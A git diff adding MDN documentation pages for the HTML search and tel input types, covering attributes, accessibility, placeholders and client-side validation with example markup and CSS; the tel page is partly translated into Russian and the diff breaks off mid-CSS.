+<p>The following non-standard attributes are available to search input fields. As a general rule, you should avoid using them unless it can't be helped.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Whether or not to allow autocorrect while editing this input field. <strong>Safari only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("incremental")}}</code></td>
+   <td>Whether or not to send repeated {{event("search")}} events to allow updating live search results while the user is still editing the value of the field. <strong>WebKit and Blink only (Safari, Chrome, Opera, etc.).</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>A string indicating the type of action that will be taken when the user presses the <kbd>Enter</kbd> or <kbd>Return</kbd> key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. <strong>Firefox for Android only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("results")}}</code></td>
+   <td>The maximum number of items that should be displayed in the drop-down list of previous search queries. <strong>Safari only.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefautocorrect_non-standard_inline">{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</p>
+
+<h3 id="htmlattrdefincremental_non-standard_inline">{{htmlattrdef("incremental")}} {{non-standard_inline}}</h3>
+
+<div id="incremental-include">
+<p>The Boolean attribute <code>incremental</code> is a WebKit and Blink extension (so supported by Safari, Opera, Chrome, etc.) which, if present, tells the {{Glossary("user agent")}} to process the input as a live search. As the user edits the value of the field, the user agent sends {{event("search")}} events to the {{domxref("HTMLInputElement")}} object representing the search box. This allows your code to update the search results in real time as the user edits the search.</p>
+
+<p>If <code>incremental</code> is not specified, the {{event("search")}} event is only sent when the user explicitly initiates a search (such as by pressing the <kbd>Enter</kbd> or <kbd>Return</kbd> key while editing the field).</p>
+
+<p>The <code>search</code> event is rate-limited so that it is not sent more more frequently than an implementation-defined interval.</p>
+</div>
+
+<h3 id="htmlattrdefmozactionhint_non-standard_inline">{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</p>
+
+<h3 id="htmlattrdefresults_non-standard_inline">{{htmlattrdef("results")}} {{non-standard_inline}}</h3>
+
+<div id="results-include">
+<p>The <code>results</code> attribute—supported only by Safari—is a numeric value that lets you override the maximum number of entries to be displayed in the {{HTMLElement("input")}} element's natively-provided drop-down menu of previous search queries.</p>
+
+<p>The value must be a non-negative decimal number. If not provided, or an invalid value is given, the browser's default maximum number of entries is used.</p>
+</div>
+
+<h2 id="Using_search_inputs">Using search inputs</h2>
+
+<p><code>&lt;input&gt;</code> elements of type <code>search</code> are very similar to those of type <code>text</code>, except that they are specifically intended for handling search terms. They are basically equivalent in behavior, but user agents may choose to style them differently by default (and, of course, sites may use stylesheets to apply custom styles to them).</p>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="mySearch" name="q"&gt;
+    &lt;button&gt;Search&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>This renders like so:</p>
+
+<p>{{EmbedLiveSample("Basic_example", 600, 40)}}</p>
+
+<p><code>q</code> is the most common <code>name</code> given to search inputs, although it's not mandatory. When submitted, the data name/value pair sent to the server will be <code>q=searchterm</code>.</p>
+
+<div class="note">
+<p>You must remember to set a {{htmlattrxref("name", "input")}} for your input, otherwise nothing will be submitted.</p>
+</div>
+
+<h3 id="Differences_between_search_and_text_types">Differences between search and text types</h3>
+
+<p>The main basic differences come in the way browsers handle them. The first thing to note is that some browsers show a cross icon that can be clicked on to remove the search term instantly if desired. The following screenshot comes from Chrome:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15235/chrome-cross-icon.png" style="display: block; height: 31px; margin: 0px auto; width: 144px;"></p>
+
+<p>In addition, modern browsers also tend to automatically store search terms previously entered across domains, which then come up as autocomplete options when subsequent searches are performed in search inputs on that domain. This helps users who tend to do searches on the same or similar search queries over time. This screenshot is from Firefox:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15237/firefox-auto-complete.png" style="display: block; height: 83px; margin: 0px auto; width: 171px;">At this point, let's look at some useful techniques you can apply to your search forms.</p>
+
+<h3 id="Setting_placeholders">Setting placeholders</h3>
+
+<p>You can provide a useful placeholder inside your search input that could give a hint on what to do using the {{htmlattrxref("placeholder","input")}} attribute. Look at the following example:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="mySearch" name="q"
+     placeholder="Search the site..."&gt;
+    &lt;button&gt;Search&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>You can see how the placeholder is rendered below:</p>
+
+<p>{{EmbedLiveSample("Setting_placeholders", 600, 40)}}</p>
+
+<h3 id="Search_form_labels_and_accessibility">Search form labels and accessibility</h3>
+
+<p>One problem with search forms is their accessibility; a common design practice is not to provide a label for the search field (although there might be a magnifying glass icon or similar), as the purpose of a search form is normally fairly obvious for sighted users due to placement (<a href="https://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">this example shows a typical pattern</a>).</p>
+
+<p>This could, however, cause confusion for screenreader users, since they will not have any verbal indication of what the search input is. One way around this that won't impact on your visual design is to use <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> features:</p>
+
+<ul>
+ <li>A <code>role</code> attribute of value <code>search</code> on the <code>&lt;form&gt;</code> element will cause screenreaders to announce that the form is a search form.</li>
+ <li>If that isn't enough, you can use an <code>aria-label</code> attribute on the {{HTMLElement("input")}} itself. This should be a descriptive text label that will be read out by the screenreader; it's used as a non-visual equivalent to <code>&lt;label&gt;</code>.</li>
+</ul>
+
+<p>Let's have a look at an example:</p>
+
+<pre class="brush: html">&lt;form role="search"&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="mySearch" name="q"
+     placeholder="Search the site..."
+     aria-label="Search through site content"&gt;
+    &lt;button&gt;Search&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>You can see how this is rendered below:</p>
+
+<p>{{EmbedLiveSample("Search_form_labels_and_accessibility", 600, 40)}}</p>
+
+<p>There is no visual difference from the previous example, but screenreader users have way more information available to them.</p>
+
+<div class="note">
+<p><strong>Note</strong>: See <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics#SignpostsLandmarks">Signposts/Landmarks</a> for more information about such accessibility features.</p>
+</div>
+
+<h3 id="Physical_input_element_size">Physical input element size</h3>
+
+<p>The physical size of the input box can be controlled using the {{htmlattrxref("size", "input")}} attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the search box is 30 characters wide:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="mySearch" name="q"
+    placeholder="Search the site..." size="30"&gt;
+    &lt;button&gt;Search&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>The result is this wider input box:</p>
+
+<p>{{ EmbedLiveSample('Physical_input_element_size', 600, 40) }}</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p><code>&lt;input&gt;</code> elements of type <code>search</code> have the same validation features available to them as regular <code>text</code> inputs. It is less likely that you'd want to use validation features in general for search boxes. In many cases, users should just be allowed to search for anything, but there are a few cases to consider, such as searches against data of a known format.</p>
+
+<div class="note">
+<p><strong>Note</strong>: HTML form validation is <em>not</em> a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database.</p>
+</div>
+
+<h3 id="A_note_on_styling">A note on styling</h3>
+
+<p>There are useful pseudo-classes available for styling valid/invalid form elements: {{cssxref(":valid")}} and {{cssxref(":invalid")}}. In this section, we'll use the following CSS, which will place a check (tick) next to inputs containing valid values, and a cross next to inputs containing invalid values.</p>
+
+<pre class="brush: css">input:invalid ~ span:after {
+    content: '✖';
+    padding-left: 5px;
+    position: absolute;
+}
+
+input:valid ~ span:after {
+    content: '✓';
+    padding-left: 5px;
+    position: absolute;
+}</pre>
+
+<p>The technique also requires a {{htmlelement("span")}} element to be placed after the form element, which acts as a holder for the icons. This was necessary because some input types on some browsers don't display icons placed directly after them very well.</p>
+
+<h3 id="Making_input_required">Making input required</h3>
+
+<p>You can use the {{htmlattrxref("required", "input")}} attribute as an easy way of making entering a value required before form submission is allowed:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="mySearch" name="q"
+    placeholder="Search the site..." required&gt;
+    &lt;button&gt;Search&lt;/button&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">input {
+  margin-right: 10px;
+}
+
+input:invalid ~ span:after {
+    content: '✖';
+    padding-left: 5px;
+    position: absolute;
+}
+
+input:valid ~ span:after {
+    content: '✓';
+    padding-left: 5px;
+    position: absolute;
+}</pre>
+</div>
+
+<p>This renders like so:</p>
+
+<p>{{ EmbedLiveSample('Making_input_required', 600, 40) }}</p>
+
+<p>In addition, if you try to submit the form with no search term entered into it, the browser will show a message. The following example is from Firefox:</p>
+
+<p><img alt="form field with attached message that says Please fill out this field" src="https://mdn.mozillademos.org/files/15241/firefox-required-message.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Different messages will be shown when you try to submit the form with different types of invalid data contained inside the inputs; see the below examples.</p>
+
+<h3 id="Input_value_length">Input value length</h3>
+
+<p>You can specify a minimum length, in characters, for the entered value using the {{htmlattrxref("minlength", "input")}} attribute; similarly, use {{htmlattrxref("maxlength", "input")}} to set the maximum length of the entered value.</p>
+
+<p>The example below requires that the entered value be 4–8 characters in length.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="mySearch"&gt;Search for user&lt;/label&gt;
+    &lt;input type="search" id="mySearch" name="q"
+    placeholder="User IDs are 4–8 characters in length" required
+    size="30" minlength="4" maxlength="8"&gt;
+    &lt;button&gt;Search&lt;/button&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">input {
+  margin-right: 10px;
+}
+
+input:invalid ~ span:after {
+    content: '✖';
+    padding-left: 5px;
+    position: absolute;
+}
+
+input:valid ~ span:after {
+    content: '✓';
+    padding-left: 5px;
+    position: absolute;
+}</pre>
+</div>
+
+<p>This renders like so:</p>
+
+<p>{{ EmbedLiveSample('Input_value_length', 600, 40) }}</p>
+
+<p>If you try to submit the form with less than 4 characters, you'll be given an appropriate error message (which differs between browsers). If you try to go beyond 8 characters in length, the browser won't let you.</p>
+
+<h3 id="Specifying_a_pattern">Specifying a pattern</h3>
+
+<p>You can use the {{htmlattrxref("pattern", "input")}} attribute to specify a regular expression that the inputted value must follow to be considered valid (see <a href="/en-US/docs/Learn/HTML/Forms/Form_validation#Validating_against_a_regular_expression">Validating against a regular expression</a> for a simple crash course).</p>
+
+<p>Let's look at an example. Say we wanted to provide a product ID search form, and the IDs were all codes of two letters followed by four numbers. The following example covers it:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="mySearch"&gt;Search for product by ID:&lt;/label&gt;
+    &lt;input type="search" id="mySearch" name="q"
+    placeholder="two letters followed by four numbers" required
+    size="30" pattern="[A-z]{2}[0-9]{4}"&gt;
+    &lt;button&gt;Search&lt;/button&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">input {
+  margin-right: 10px;
+}
+
+input:invalid ~ span:after {
+    content: '✖';
+    padding-left: 5px;
+    position: absolute;
+}
+
+input:valid ~ span:after {
+    content: '✓';
+    padding-left: 5px;
+    position: absolute;
+}</pre>
+</div>
+
+<p>This renders like so:</p>
+
+<p>{{ EmbedLiveSample('Specifying_a_pattern', 600, 40) }}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>You can see a good example of a search form used in context at our <a class="external external-icon" href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-aria-roles">website-aria-roles</a> example (<a class="external external-icon" href="http://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">see it live</a>).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#text-(type=text)-state-and-search-state-(type=search)', '&lt;input type="search"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#text-typetext-state-and-search-state-typesearch', '&lt;input type="search"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-search")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML Forms</a></li>
+ <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface it's based upon</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/ru/web/html/element/input/tel/index.html b/files/ru/web/html/element/input/tel/index.html
new file mode 100644
index 0000000000..e13cf8729e
--- /dev/null
+++ b/files/ru/web/html/element/input/tel/index.html
@@ -0,0 +1,523 @@
+---
+title: <input type="tel">
+slug: Web/HTML/Element/Input/tel
+translation_of: Web/HTML/Element/input/tel
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} элемент типа <code><strong>tel</strong></code> используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<code><a href="/en-US/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code> и <code><a href="/en-US/docs/Web/HTML/Element/input/url">&lt;input type="url"&gt;</a></code> , введеное значение не проверяется автоматически по определенном формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-tel.html", "tabbed-standard")}}</div>
+
+
+
+<p>Despite the fact that inputs of type <code>tel</code> are functionally identical to standard <code>text</code> inputs, they do serve useful purposes; the most quickly apparent of these is that mobile browsers — especially on mobile phones — may opt to present a custom keypad optimized for entering phone numbers. Using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Browsers that don't support type <code>tel</code> fall back to being a standard {{HTMLElement("input/text", "text")}} input.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>A {{domxref("DOMString")}} representing a telephone number, or empty</td>
+  </tr>
+  <tr>
+   <td><strong>Events</strong></td>
+   <td>{{event("change")}} and {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Supported Common Attributes</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}, and {{htmlattrxref("size", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td><code>list</code>, <code>selectionStart</code>, <code>selectionEnd</code>, <code>selectionDirection</code>, and <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Methods</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}, {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>The {{HTMLElement("input")}} element's {{htmlattrxref("value", "input")}} attribute contains a {{domxref("DOMString")}} that either represents a telephone number or is an empty string (<code>""</code>).</p>
+
+<h2 id="Additional_attributes">Additional attributes</h2>
+
+<p>In addition to the attributes that operate on all {{HTMLElement("input")}} elements regardless of their type, telephone number inputs support the following attributes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>The maximum length, in UTF-16 characters, to accept as a valid input</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>The minimum length that is considered valid for the field's contents</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>A regular expression the entered value must match to pass constraint validation</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>An example value to display inside the field when it has no value</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>A Boolean attribute which, if present, indicates that the field's contents should not be user-editable</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>The number of characters wide the input field should be onscreen</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(maxlength)">{{htmlattrdef("maxlength")}}</h3>
+
+<p>The maximum number of characters (as UTF-16 code units) the user can enter into the telephone number field. This must be an integer value 0 or higher. If no <code>maxlength</code> is specified, or an invalid value is specified, the telephone number field has no maximum length. This value must also be greater than or equal to the value of <code>minlength</code>.</p>
+
+<p>The input will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is greater than <code>maxlength</code> UTF-16 code units long.</p>
+
+<h3 id="htmlattrdef(minlength)">{{htmlattrdef("minlength")}}</h3>
+
+<p>The minimum number of characters (as UTF-16 code units) the user can enter into the telephone number field. This must be an non-negative integer value smaller than or equal to the value specified by <code>maxlength</code>. If no <code>minlength</code> is specified, or an invalid value is specified, the telephone number input has no minimum length.</p>
+
+<p>The telephone number field will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is fewer than <code>minlength</code> UTF-16 code units long.</p>
+
+<h3 id="htmlattrdef(pattern)">{{htmlattrdef("pattern")}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>See {{anch("Pattern validation")}} below for details and an example.</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<h2 id="Non-standard_attributes">Non-standard attributes</h2>
+
+<p>The following non-standard attributes are available to telephone number input fields. As a general rule, you should avoid using them unless it can't be helped.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Whether or not to allow autocorrect while editing this input field. <strong>Safari only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>A string indicating the type of action that will be taken when the user presses the <kbd>Enter</kbd> or <kbd>Return</kbd> key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. <strong>Firefox for Android only.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(autocorrect)_non-standard_inline">{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</p>
+
+<h3 id="htmlattrdef(mozactionhint)_non-standard_inline">{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</p>
+
+<h2 id="Using_tel_inputs">Using tel inputs</h2>
+
+<p>Telephone numbers are a very commonly collected type of data on the web. When creating any kind of registration or e-commerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes. Given how commonly-entered phone numbers are, it's unfortunate that a "one size fits all" solution for validating phone numbers is not practical.</p>
+
+<p>Fortunately, you can consider the requirements of your own site and implement an appropriate level of validation yourself. See {{anch("Validation")}}, below, for details.</p>
+
+<h3 id="Custom_keyboards">Custom keyboards</h3>
+
+<p>One of the main advantages of <code>&lt;input type="tel"&gt;</code> is that it causes mobile browsers to display a special keyboard for entering phone numbers. For example, here's what the keypads look like on a couple of devices.</p>
+
+<table class="standard-table">
+ <caption>Examples of custom keyboards on mobile devices.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Firefox for Android</th>
+   <th scope="col">WebKit iOS (Safari/Chrome/Firefox)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><img alt="Firefox for Android screen shot" src="https://mdn.mozillademos.org/files/15441/fx-android-tel.png" style="height: 640px; width: 360px;"></td>
+   <td><img alt="Firefox for iOS screenshot" src="https://mdn.mozillademos.org/files/15603/iphone-tel-keyboard-50pct.png" style="height: 640px; width: 360px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="A_simple_tel_input">A simple tel input</h3>
+
+<p>In its most basic form, a tel input can be implemented like this:</p>
+
+<pre class="brush: html">&lt;label for="telNo"&gt;Phone number:&lt;/label&gt;
+&lt;input id="telNo" name="telNo" type="tel"&gt;</pre>
+
+<p>{{ EmbedLiveSample('A_simple_tel_input', 600, 40) }}</p>
+
+<p>There is nothing magical going on here. When submitted to the server, the above input's data would be represented as, for example, <code>telNo=+12125553151</code>.</p>
+
+<h3 id="Placeholders">Placeholders</h3>
+
+<p>Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each {{HTMLElement("input")}}. This is where <strong>placeholders</strong> come in. A placeholder is a value that demonstrates the form the <code>value</code> should take by presenting an example of a valid value, which is displayed inside the edit box when the element's <code>value</code> is <code>""</code>. Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears.</p>
+
+<p>Here, we have an <code>tel</code> input with the placeholder <code>123-4567-8901</code>. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.</p>
+
+<pre class="brush: html">&lt;input id="telNo" name="telNo" type="tel"
+       placeholder="123-4567-8901"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Placeholders', 600, 40) }}</p>
+
+<h3 id="Controlling_the_input_size">Controlling the input size</h3>
+
+<p>You can control not only the physical length of the input box, but also the minimum and maximum lengths allowed for the input text itself.</p>
+
+<h4 id="Physical_input_element_size">Physical input element size</h4>
+
+<p>The physical size of the input box can be controlled using the {{htmlattrxref("size", "input")}} attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the <code>tel</code> edit box is 20 characters wide:</p>
+
+<pre class="brush: html">&lt;input id="telNo" name="telNo" type="tel"
+       size="20"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Physical_input_element_size', 600, 40) }}</p>
+
+<h4 id="Element_value_length">Element value length</h4>
+
+<p>The <code>size</code> is separate from the length limitation on the entered telephone number. You can specify a minimum length, in characters, for the entered telephone number using the {{htmlattrxref("minlength", "input")}} attribute; similarly, use {{htmlattrxref("maxlength", "input")}} to set the maximum length of the entered telephone number.</p>
+
+<p>The example below creates a 20-character wide telephone number entry box, requiring that the contents be no shorter than 9 characters and no longer than 14 characters.</p>
+
+<pre class="brush: html">&lt;input id="telNo" name="telNo" type="tel"
+       size="20" minlength="9" maxlength="14"&gt;</pre>
+
+<p>{{EmbedLiveSample("Element_value_length", 600, 40) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: The above attributes do affect {{anch("Validation")}} — the above example's inputs will count as invalid if the length of the value is less than 9 characters, or more than 14. Most browser won't even let you enter a value over the max length.</p>
+</div>
+
+<h3 id="Providing_default_options">Providing default options</h3>
+
+<p>As always, you can provide a default value for an <code>tel</code> input box by setting its {{htmlattrxref("value", "input")}} attribute:</p>
+
+<div id="Default_value">
+<pre class="brush: html">&lt;input id="telNo" name="telNo" type="tel"
+       value="333-4444-4444"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Default_value", 600, 40)}}</p>
+
+<h4 id="Offering_suggested_values">Offering suggested values</h4>
+
+<p>Taking it a step farther, you can provide a list of default phone number values from which the user can select. To do this, use the {{htmlattrxref("list", "input")}} attribute. This doesn't limit the user to those options, but does allow them to select commonly-used telephone numbers more quickly. This also offers hints to {{htmlattrxref("autocomplete", "input")}}. The <code>list</code> attribute specifies the ID of a {{HTMLElement("datalist")}} element, which in turn contains one {{HTMLElement("option")}} element per suggested value; each <code>option</code>'s <code>value</code> is the corresponding suggested value for the telephone number entry box.</p>
+
+<pre class="brush: html">&lt;label for="telNo"&gt;Phone number: &lt;/label&gt;
+&lt;input id="telNo" name="telNo" type="tel" list="defaultTels"&gt;
+
+&lt;datalist id="defaultTels"&gt;
+  &lt;option value="111-1111-1111"&gt;
+  &lt;option value="122-2222-2222"&gt;
+  &lt;option value="333-3333-3333"&gt;
+  &lt;option value="344-4444-4444"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Offering_suggested_values", 600, 40)}}</p>
+
+<p>With the {{HTMLElement("datalist")}} element and its {{HTMLElement("option")}}s in place, the browser will offer the specified values as potential values for the email address; this is typically presented as a popup or drop-down menu containing the suggestions. While the specific user experience may vary from one browser to another, typically clicking in the edit box presents a drop-down of the suggested email addresses. Then, as the user types, the list is adjusted to show only filtered matching values. Each typed character narrows down the list until the user makes a selection or types a custom value.</p>
+
+<p>Here's a screenshot of what that might look like:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15605/phone-number-with-options.png" style="border-style: solid; border-width: 1px; height: 150px; width: 684px;"></p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>As we've touched on before, it's quite difficult to provide a one-size-fits-all client-side validation solution for phone numbers. So what can we do? Let's consider some options.</p>
+
+<div class="warning">
+<p><strong>Important</strong>: HTML form validation is <em>not</em> a substitute for server-side scripts that ensure the entered data is in the proper format before it is allowed into the database.  It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database.</p>
+</div>
+
+<h3 id="Making_telephone_numbers_required">Making telephone numbers required</h3>
+
+<p>You can make it so that an empty input is invalid and won't be submitted to the server using the {{htmlattrxref("required", "input")}} attribute. For example, let's use this HTML:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="telNo"&gt;Enter a telephone number (required): &lt;/label&gt;
+    &lt;input id="telNo" name="telNo" type="tel" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>And let's include the following CSS to highlight valid entries with a checkmark and invalid entries with a cross:</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
+  padding-left: 5px;
+  color: #8b0000;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+  color: #009000;
+}</pre>
+
+<p>The output looks like this:</p>
+
+<p>{{EmbedLiveSample("Making_telephone_numbers_required", 700, 70)}}</p>
+
+<h3 id="Pattern_validation">Pattern validation</h3>
+
+<p>If you want to further restrict entered numbers so they also have to conform to a specific pattern, you can use the {{htmlattrxref("pattern","input")}} attribute, which takes as its value a {{Glossary("regular expression")}} that entered values have to match.</p>
+
+<p>In this example we'll use the same CSS as before, but our HTML is changed to look like this:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="telNo"&gt;Enter a telephone number (in the form xxx-xxx-xxxx): &lt;/label&gt;
+    &lt;input id="telNo" name="telNo" type="tel" required
+           pattern="[0-9]{3}-[0-9]{3}-[0-9]{4}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
